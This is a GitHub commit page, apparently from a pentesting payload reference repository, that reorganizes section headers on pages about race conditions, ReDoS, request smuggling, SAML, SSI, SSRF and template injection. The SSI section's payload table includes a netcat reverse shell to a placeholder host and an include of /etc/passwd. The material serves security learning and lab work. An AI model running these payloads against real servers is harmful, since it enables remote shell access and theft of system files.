Skip to content

Commit a338b2f

Browse files
committed
Normalize page header for SSTI, SAML, SSI
1 parent 1a3e605 commit a338b2f

File tree

13 files changed

+105
-44
lines changed

13 files changed

+105
-44
lines changed

Race Condition/README.md

Lines changed: 21 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,11 @@
22

33
> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
44
5+
56
## Summary
67

78
- [Tools](#tools)
8-
- [Labs](#labs)
9-
- [Exploit](#exploit)
9+
- [Methodology](#methodology)
1010
- [Limit-overrun](#limit-overrun)
1111
- [Rate-limit bypass](#rate-limit-bypass)
1212
- [Techniques](#techniques)
@@ -15,6 +15,7 @@
1515
- [Turbo Intruder](#turbo-intruder)
1616
- [Example 1](#example-1)
1717
- [Example 2](#example-2)
18+
- [Labs](#labs)
1819
- [References](#references)
1920

2021

@@ -25,17 +26,7 @@
2526
- [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy‌ + Exploit Timing Attacks
2627

2728

28-
## Labs
29-
30-
- [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun)
31-
- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
32-
- [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits)
33-
- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
34-
- [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)
35-
- [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)
36-
- [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)
37-
38-
## Exploit
29+
## Methodology
3930

4031
### Limit-overrun
4132

@@ -47,6 +38,7 @@ Overdrawing limit, multiple voting, multiple spending of a giftcard.
4738
- [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)
4839
- [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)
4940

41+
5042
### Rate-limit bypass
5143

5244
Bypassing anti-bruteforce mechanism and 2FA.
@@ -55,6 +47,7 @@ Bypassing anti-bruteforce mechanism and 2FA.
5547

5648
- [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM)
5749

50+
5851
## Techniques
5952

6053
### HTTP/1.1 last-byte synchronization
@@ -73,6 +66,7 @@ engine.openGate('race1')
7366

7467
- [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style)
7568

69+
7670
### HTTP/2 Single-packet attack
7771

7872
In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.
@@ -88,6 +82,7 @@ In HTTP/2 you can send multiple HTTP requests concurrently over a single connect
8882

8983
- [CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle](https://youtu.be/Y0NVIVucQNE)
9084

85+
9186
## Turbo Intruder
9287

9388
### Example 1
@@ -121,6 +116,7 @@ In HTTP/2 you can send multiple HTTP requests concurrently over a single connect
121116
3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
122117
4. Click "Attack"
123118

119+
124120
### Example 2
125121

126122
This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
@@ -155,6 +151,18 @@ def handleResponse(req, interesting):
155151
table.add(req)
156152
```
157153

154+
155+
## Labs
156+
157+
- [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun)
158+
- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
159+
- [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits)
160+
- [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
161+
- [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)
162+
- [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)
163+
- [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)
164+
165+
158166
## References
159167

160168
- [Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit - @ryotkak - August 2, 2024](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)

Regular Expression/README.md

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,22 +2,23 @@
22

33
> Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash.
44
5+
56
## Summary
67

7-
* [Denial of Service - ReDoS](#denial-of-service---redos)
8-
* [Evil Regex](#evil-regex)
9-
* [Backtrack Limit](#backtrack-limit)
8+
* [Tools](#tools)
9+
* [Evil Regex](#evil-regex)
10+
* [Backtrack Limit](#backtrack-limit)
1011
* [References](#references)
1112

1213

13-
## Denial of Service - ReDoS
14+
## Tools
1415

1516
* [tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector) - A CLI and library which tests with certainty if a regex pattern is safe from ReDoS attacks. Supported in the browser, Node and Deno.
1617
* [doyensec/regexploit](https://github.com/doyensec/regexploit) - Find regular expressions which are vulnerable to ReDoS (Regular Expression Denial of Service)
1718
* [devina.io/redos-checker](https://devina.io/redos-checker) - Examine regular expressions for potential Denial of Service vulnerabilities
1819

1920

20-
### Evil Regex
21+
## Evil Regex
2122

2223
Evil Regex contains:
2324

@@ -37,7 +38,7 @@ Evil Regex contains:
3738
These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!`
3839

3940

40-
### Backtrack Limit
41+
## Backtrack Limit
4142

4243
Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.
4344

Request Smuggling/README.md

Lines changed: 23 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -1,40 +1,36 @@
1-
!# Request Smuggling
1+
# Request Smuggling
22

33
> HTTP Request smuggling occurs when multiple "things" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded.
44
5+
56
## Summary
67

78
* [Tools](#tools)
9+
* [Methodology](#methodology)
10+
* [CL.TE Vulnerabilities](#cl.te-vulnerabilities)
11+
* [TE.CL Vulnerabilities](#te.cl-vulnerabilities)
12+
* [TE.TE Vulnerabilities](#tete-vulnerabilities)
13+
* [HTTP/2 Request Smuggling](#http2-request-smuggling)
14+
* [Client-Side Desync](#client-side-desync)
815
* [Labs](#labs)
9-
* [CL.TE vulnerabilities](#cl.te-vulnerabilities)
10-
* [TE.CL vulnerabilities](#te.cl-vulnerabilities)
11-
* [TE.TE behavior: obfuscating the TE header](#te.te-behavior-obfuscating-the-te-header)
1216
* [References](#references)
1317

18+
1419
## Tools
1520

1621
* [bappstore/HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - An extension for Burp Suite designed to help you launch HTTP Request Smuggling attacks
1722
* [defparam/Smuggler](https://github.com/defparam/smuggler) - An HTTP Request Smuggling / Desync testing tool written in Python 3
1823
* [dhmosfunk/simple-http-smuggler-generator](https://github.com/dhmosfunk/simple-http-smuggler-generator) - This tool is developed for burp suite practitioner certificate exam and HTTP Request Smuggling labs.
1924

2025

21-
## Labs
22-
23-
* [PortSwigger - HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
24-
* [PortSwigger - HTTP request smuggling, basic TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)
25-
* [PortSwigger - HTTP request smuggling, obfuscating the TE header](https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header)
26-
* [PortSwigger - Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
27-
* [PortSwigger - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync)
28-
29-
30-
## About CL.TE | TE.CL Vulnerabilities
26+
## Methodology
3127

3228
If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`.
3329

3430
For that reason you can use the [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) and exploit the CL.TE TE.CL vulnerabilities manually and learn how this vulnerability works and how you can exploit it.
3531

3632

37-
## CL.TE vulnerabilities
33+
### CL.TE Vulnerabilities
3834

3935
> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
4036
@@ -65,7 +61,7 @@ G
6561
```
6662

6763

68-
## TE.CL vulnerabilities
64+
### TE.CL Vulnerabilities
6965

7066
> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
7167
@@ -104,7 +100,7 @@ x=1
104100
:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.
105101

106102

107-
## TE.TE behavior: obfuscating the TE header
103+
### TE.TE Vulnerabilities
108104

109105
> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
110106
@@ -133,7 +129,7 @@ header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com
133129
```
134130

135131

136-
## Client-side desync
132+
## Client-Side Desync
137133

138134
On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg:
139135

@@ -178,6 +174,15 @@ www.example.com now incorrectly processes the HEAD request in the POST's body, i
178174
Since the browser only sent one request, it accepts the response to the HEAD request as the response to its GET request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
179175

180176

177+
## Labs
178+
179+
* [PortSwigger - HTTP request smuggling, basic CL.TE vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)
180+
* [PortSwigger - HTTP request smuggling, basic TE.CL vulnerability](https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl)
181+
* [PortSwigger - HTTP request smuggling, obfuscating the TE header](https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header)
182+
* [PortSwigger - Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
183+
* [PortSwigger - Client-side desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync)
184+
185+
181186
## References
182187

183188
- [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - October 16, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-http-request-smuggling)

SAML Injection/README.md

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,12 @@
11
# SAML Injection
22

3-
> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify
3+
> SAML (Security Assertion Markup Language) is an open standard for exchanging authentication and authorization data between parties, in particular, between an identity provider and a service provider. While SAML is widely used to facilitate single sign-on (SSO) and other federated authentication scenarios, improper implementation or misconfiguration can expose systems to various vulnerabilities.
4+
45

56
## Summary
67

78
* [Tools](#tools)
8-
* [Authentication Bypass](#authentication-bypass)
9+
* [Methodology](#methodology)
910
* [Invalid Signature](#invalid-signature)
1011
* [Signature Stripping](#signature-stripping)
1112
* [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
@@ -21,14 +22,16 @@
2122
- [ZAP Addon/SAML Support](https://www.zaproxy.org/docs/desktop/addons/saml-support/) - Allows to detect, show, edit, and fuzz SAML requests.
2223

2324

24-
## Authentication Bypass
25+
## Methodology
2526

2627
A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
2728

29+
2830
### Invalid Signature
2931

3032
Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
3133

34+
3235
### Signature Stripping
3336

3437
> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
@@ -66,6 +69,7 @@ Example of SAML assertion where `NameID=admin` without signature.
6669
</saml2p:Response>
6770
```
6871

72+
6973
### XML Signature Wrapping Attacks
7074

7175
XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
@@ -126,6 +130,7 @@ Researchers have noticed that if an attacker inserts a comment inside the userna
126130
```
127131
Where `[email protected]` is the first part of the username, and `.evil.com` is the second.
128132

133+
129134
### XML External Entity
130135

131136
An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
@@ -187,6 +192,7 @@ Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_At
187192
</ds:Signature>
188193
```
189194

195+
190196
## References
191197

192198
- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - Jem Jensen - March 7, 2017](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)

Server Side Include Injection/README.md

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -5,21 +5,24 @@
55

66
## Summary
77

8-
* [Payloads](#payloads)
8+
* [Methodology](#methodology)
99
* [References](#references)
1010

1111

12-
## Payloads
12+
## Methodology
13+
14+
SSI Injection occurs when an attacker can input Server Side Include directives into a web application. SSIs are directives that can include files, execute commands, or print environment variables/attributes. If user input is not properly sanitized within an SSI context, this input can be used to manipulate server-side behavior and access sensitive information or execute commands.
1315

1416
| Description | Payload |
1517
|-------------------------|---------|
1618
| Print a date | `<!--#echo var="DATE_LOCAL" -->` |
1719
| Print all the variables | `<!--#printenv -->` |
18-
| Include a file | `<!--#include file="includefile.html" -->` |
20+
| Include a file | `<!--#include file="/etc/passwd" -->` |
1921
| Execute commands | `<!--#exec cmd="ls" -->` |
2022
| Doing a reverse shell | `<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->` |
2123

2224

2325
## References
2426

27+
* [Exploiting Server Side Include Injection - n00py - August 15, 2017](https://www.n00py.io/2017/08/exploiting-server-side-include-injection/)
2528
* [Server-Side Includes (SSI) Injection - Weilin Zhong, Nsrav - December 4, 2019](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)

Server Side Request Forgery/README.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
44
5+
56
## Summary
67

78
* [Tools](#tools)
@@ -56,6 +57,9 @@
5657
* [SSRF URL for Hetzner Cloud](#ssrf-url-for-hetzner-cloud)
5758
* [SSRF URL for Docker](#ssrf-url-for-docker)
5859
* [SSRF URL for Rancher](#ssrf-url-for-rancher)
60+
* [Labs](#labs)
61+
* [References](#references)
62+
5963

6064
## Tools
6165

@@ -67,6 +71,7 @@
6771
- [dwisiswant0/ipfuscator](https://github.com/dwisiswant0/ipfuscator) - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.
6872
- [Horlad/r3dir](https://github.com/Horlad/r3dir) - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags
6973

74+
7075
## Payloads with localhost
7176

7277
* Using `localhost`
@@ -88,6 +93,7 @@
8893
http://0.0.0.0:22
8994
```
9095

96+
9197
## Bypassing filters
9298

9399
### Bypass using HTTPS
@@ -892,13 +898,16 @@ curl http://rancher-metadata/<version>/<path>
892898

893899
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
894900

901+
895902
## Labs
896903

897904
* [PortSwigger - Basic SSRF against the local server](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost)
898905
* [PortSwigger - Basic SSRF against another back-end system](https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system)
899906
* [PortSwigger - SSRF with blacklist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)
900907
* [PortSwigger - SSRF with whitelist-based input filter](https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter)
901908
* [PortSwigger - SSRF with filter bypass via open redirection vulnerability](https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection)
909+
* [Root Me - Server Side Request Forgery](https://www.root-me.org/en/Challenges/Web-Server/Server-Side-Request-Forgery)
910+
* [Root Me - Nginx - SSRF Misconfiguration](https://www.root-me.org/en/Challenges/Web-Server/Nginx-SSRF-Misconfiguration)
902911

903912

904913
## References

Server Side Template Injection/ASP.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
# Server Side Template Injection - ASP.NET
22

3+
> Server-Side Template Injection (SSTI) is a class of vulnerabilities where an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary code on the server. In the context of ASP.NET, SSTI can occur if user input is directly embedded into a template (such as Razor, ASPX, or other templating engines) without proper sanitization.
4+
5+
36
## Summary
47

58
- [ASP.NET Razor](#aspnet-razor)

Server Side Template Injection/Java.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
# Server Side Template Injection - Java
22

3+
> Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.
4+
5+
36
## Summary
47

58
- [Templating Libraries](#templating-libraries)

0 commit comments

Comments
 (0)